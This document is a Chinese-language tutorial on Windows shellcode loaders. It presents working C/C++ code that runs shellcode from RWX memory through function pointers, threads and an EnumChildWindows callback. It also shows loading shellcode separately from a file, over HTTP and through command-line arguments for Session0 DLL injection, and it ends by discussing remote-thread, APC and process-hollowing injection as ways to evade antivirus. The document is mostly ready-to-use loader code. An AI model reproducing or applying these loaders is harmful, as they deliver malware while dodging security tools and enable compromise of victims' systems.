目录
#1. 搭建云服务器并在finalshell安装jdk17
#2. Shellcode多种加载方式与分离
##2.1 shellcode的执行,本质就是内存执行
首先,如果要执行一段代码,那么存储代码的内存必须拥有可执行权限。
最简单的exe(数据段,代码段)
数据段的权限(可读,可写)
代码段的权限(可读,可执行)
(可读,可写,可执行)
#3. 存放shellcode的内存
##3.1 声明数据段可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
##3.2.申请可执行内存
LPVOID exec = VirtualAlloc(NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
SIZE_T size;
WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof shellcode, &size);
##3.3 指针执行
(*(int(*)()) shellcode_addr)();
(*(void(*)()) shellcode_addr)();
((void(*)(void)) & buf)();
##3.4 直接指针执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
((void(*)(void)) & buf)();
}
##3.5 内存指针执行
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}
##3.7 线程执行
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
##直接线程执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL);
}
##3.8 内存线程执行
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = "";
int main()
{
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(thread, -1);
return 0;
}
#3.9 回调函数
##什么是回调函数
#include<stdio.h>
void call_b(const char* hello)
{
printf(hello);
}
int main()
{
void (*p)(const char* s);
p = call_b;
p("Hello World!\n");
return 0;
}
准确来讲,这种并不是一个回调函数。
典型的回调函数用于在某些事件发生时被调用。
比如当某个操作执行完后,再去执行某一个函数。
##3.10 利用能够执行代码的函数实现回调
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID shell_addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell_addr, buf, sizeof(buf));
EnumChildWindows(NULL, (WNDENUMPROC)shell_addr, NULL);
return 0;
}
#4. shellcode分离载入内存
##4.1 最常用的分离:文件分离
#include<fstream.h>
#include<iostream.h>
#include<stdio.h>
using namespace std;
char filename[] = "你的bin文件路径";
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
int length = infile.tellg();
infile.seekg(0, infile.beg);
char* datath = new char[length];
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(datath, length);
}
fopen
##4.2 HTTP载入
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define BUFFER_SIZE 1024
int main() {
HINTERNET hInternet, hConnect, hRequest;
DWORD bytesRead;
char buffer[BUFFER_SIZE];
DWORD totalBytesRead = 0;
// 初始化 WinINet
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf("初始化失败\n");
return 1;
}
// 连接到服务器
hConnect = InternetConnect(hInternet, L"127.0.0.1", 8080, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) {
printf("连接失败\n");
InternetCloseHandle(hInternet);
return 1;
}
// 打开请求
hRequest = HttpOpenRequest(hConnect, L"GET", L"/", NULL, NULL, NULL, 0, 0);
if (!hRequest) {
printf("打开请求失败\n");
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 发送请求
if (!HttpSendRequest(hRequest, NULL, 0, NULL, 0)) {
printf("发送请求失败\n");
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 创建内存缓冲区
char* response_data = (char*)malloc(1); // 初始大小为1字节
if (!response_data) {
printf("内存分配失败\n");
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 接收响应
do {
if (!InternetReadFile(hRequest, buffer, BUFFER_SIZE, &bytesRead)) {
printf("读取失败\n");
free(response_data);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 将数据写入内存缓冲区
response_data = (char*)realloc(response_data, totalBytesRead + bytesRead + 1); // 扩展内存
if (!response_data) {
printf("内存分配失败\n");
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
memcpy(response_data + totalBytesRead, buffer, bytesRead);
totalBytesRead += bytesRead;
} while (bytesRead > 0);
// 在读取的数据末尾添加 null 终止符
response_data[totalBytesRead] = '\0';
// 输出响应数据
printf("响应数据:\n%s\n", response_data);
// 释放资源
free(response_data);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 0;
}
##4.3 参数分离
int main(int argc, char* argv[])
{
if (argc == 3)
{
//将字符串转化为整数
BOOL result = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
if (-1 == result)
{
printf("注入失败\n");
}
else
{
printf("注入成功\n");
}
}
else
{
printf("两个参数,1为pid,2为dll的绝对路径\n");
exit(1);
}
}
#5. 对几种加载方式的灵活应用
远程线程-》线程内存加载
APC注入-》线程内存加载
傀儡进程-》线程内存加载
线程加载的免杀效果优于指针加载吗?为什么这三种方法都是线程加载?